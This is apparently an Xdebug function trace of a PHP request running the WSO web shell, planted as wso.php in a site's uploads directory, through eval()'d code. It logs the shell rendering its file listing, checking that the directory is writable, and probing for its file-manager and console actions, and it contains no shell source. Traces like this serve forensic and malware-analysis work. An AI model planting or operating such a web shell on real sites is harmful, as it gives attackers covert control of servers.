4	237	0	0.024309	1260080	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	237	1	0.024322	1260152
4	237	R			'prepend.php'
4	238	0	0.024335	1260240	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	238	1	0.024349	1260312
4	238	R			'prepend.php'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 0
4	239	0	0.024374	1259296	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	239	1	0.024388	1259360
4	239	R			'wso.php'
4	240	0	0.024401	1259344	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	240	1	0.024414	1259408
4	240	R			'wso.php'
4	241	0	0.024428	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	241	1	0.024441	1259616
4	241	R			'wso.php'
4	242	0	0.024455	1259408	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	95692
5	243	0	0.024469	1259408	sprintf	0		/var/www/html/uploads/wso.php(5) : eval()'d code	297	2	'%1.2f'	93.44921875
5	243	1	0.024486	1259792
5	243	R			'93.45'
4	242	1	0.024499	1259448
4	242	R			'93.45 KB'
4	244	0	0.024514	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'wso.php'
4	244	1	0.024527	1259600
4	244	R			'wso.php'
4	245	0	0.024540	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	245	1	0.024553	1259728
4	245	R			'wso.php'
4	246	0	0.024567	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	246	1	0.024580	1259920
4	246	R			'wso.php'
4	247	0	0.024593	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	247	1	0.024606	1259920
4	247	R			'wso.php'
4	248	0	0.024618	1260080	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	248	1	0.024631	1260144
4	248	R			'wso.php'
4	249	0	0.024644	1260176	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'wso.php'
4	249	1	0.024657	1260240
4	249	R			'wso.php'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 1
4	250	0	0.024682	1259216	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	920	1	'/var/www/html/uploads/'
4	250	1	0.024696	1259408
4	250	R			'/var/www/html/uploads/'
4	251	0	0.024713	1259216	class_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	926	1	'ZipArchive'
4	251	1	0.024732	1259256
4	251	R			FALSE
4	252	0	0.024747	1259216	hardFooter	1		/var/www/html/uploads/wso.php(5) : eval()'d code	933	0
5	253	0	0.024759	1259216	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	242	1	'/var/www/html/uploads/'
5	253	1	0.024777	1259256
5	253	R			TRUE
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	242	$is_writable = ' <font color=\'#e6b000\'>[ Writeable ]</font>'
5	254	0	0.024805	1259216	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	247	1	'actionFilesMan'
5	254	1	0.024820	1259256
5	254	R			TRUE
5	255	0	0.024833	1259472	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	247	1	'/var/www/html/uploads/'
5	255	1	0.024847	1259664
5	255	R			'/var/www/html/uploads/'
5	256	0	0.024862	1259600	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	248	1	'actionFilesTools'
5	256	1	0.024877	1259640
5	256	R			TRUE
5	257	0	0.024890	1259856	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	250	1	'actionFilesMan'
5	257	1	0.024904	1259896
5	257	R			TRUE
5	258	0	0.024917	1260112	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	251	1	'actionFilesTools'
5	258	1	0.024931	1260152
5	258	R			TRUE
5	259	0	0.024944	1260496	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	253	1	'actionConsole'
5	259	1	0.024958	1260536
5	259	R			TRUE
5	260	0	0.024971	1260496	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	254	1	'actionFilesMan'
5	260	1	0.024985	1260536
5	260	R			TRUE
5	261	0	0.024999	1260752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	256	1	'/var/www/html/uploads/'
5	261	1	0.025013	1260944
5	261	R			'/var/www/html/uploads/'
4	252	1	0.025032	1259216
3	55	1	0.025041	1251944
2	13	1	0.025050	1251944
1	3	1	0.025063	1056160
			0.025096	873208
TRACE END   [2023-02-12 22:18:53.789043]

